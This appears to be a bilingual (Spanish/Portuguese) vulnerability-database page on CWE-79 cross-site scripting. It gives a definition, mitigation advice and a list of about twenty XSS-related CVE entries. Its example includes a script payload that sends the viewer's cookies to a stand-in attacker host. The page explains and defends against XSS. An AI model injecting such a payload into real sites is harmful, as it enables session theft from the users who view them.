Fallos del tipo CWE-79

30.669 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2023-25727MEDIUMIn phpMyAdmin before 4.9.11 and 5.x before 5.2.1, an authenticated user can trigger XSS by uploading a crafted .sql file through the drag-anEPSS 1.2%CVE-2022-46907—Apache JSPWiki: XSS Injection points in several pluginsEPSS 1.2%CVE-2023-28158MEDIUMApache Archiva privilege escalationEPSS 1.2%CVE-2022-24918LOWReflected XSS in item configuration window of Zabbix FrontendEPSS 1.2%CVE-2016-8639MEDIUMIt was found that foreman before 1.13.0 is vulnerable to a stored XSS via an organization or location name. This could allow an attacker witEPSS 1.2%CVE-2020-3581MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.2%CVE-2020-3582MEDIUMCisco Adaptive Security Appliance Software and Firepower Threat Defense Software Web Services Interface Cross-Site Scripting VulnerabilitiesEPSS 1.2%CVE-2021-25022MEDIUMUpdraftPlus < 1.16.66 - Reflected Cross-Site ScriptingEPSS 1.2%CVE-2024-21396HIGHDynamics 365 Sales Spoofing VulnerabilityEPSS 1.2%CVE-2024-21393HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.2%CVE-2024-21389HIGHMicrosoft Dynamics 365 (on-premises) Cross-site Scripting VulnerabilityEPSS 1.2%CVE-2022-29618—Due to insufficient input validation, SAP NetWeaver Development Infrastructure (Design Time Repository) - versions 7.30, 7.31, 7.40, 7.50, aEPSS 1.2%CVE-2024-33299MEDIUMCross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the First Name and Last NameEPSS 1.2%CVE-2024-33297MEDIUMCross Site Scripting vulnerability in Microweber v.2.0.9 allows a remote attacker to execute arbitrary code via the campaign Name (Internal EPSS 1.2%CVE-2022-41445MEDIUMA cross-site scripting (XSS) vulnerability in Record Management System using CodeIgniter 1.0 allows attackers to execute arbitrary web scripEPSS 1.2%CVE-2023-29201CRITICALorg.xwiki.commons:xwiki-commons-xml Cross-site Scripting vulnerabilityEPSS 1.2%CVE-2025-2609HIGHMagnusBilling Stored Cross-Site Scripting in Login LogsEPSS 1.2%CVE-2022-2527HIGHAn issue in Incident Timelines has been discovered in GitLab CE/EE affecting all versions starting from 14.9 before 15.1.6, all versions staEPSS 1.2%CVE-2025-62613MEDIUMVDO.Ninja Reflected XSS Vulnerability in control.htmlEPSS 1.2%CVE-2022-40743MEDIUMApache Traffic Server: Security issues with the xdebug pluginEPSS 1.1%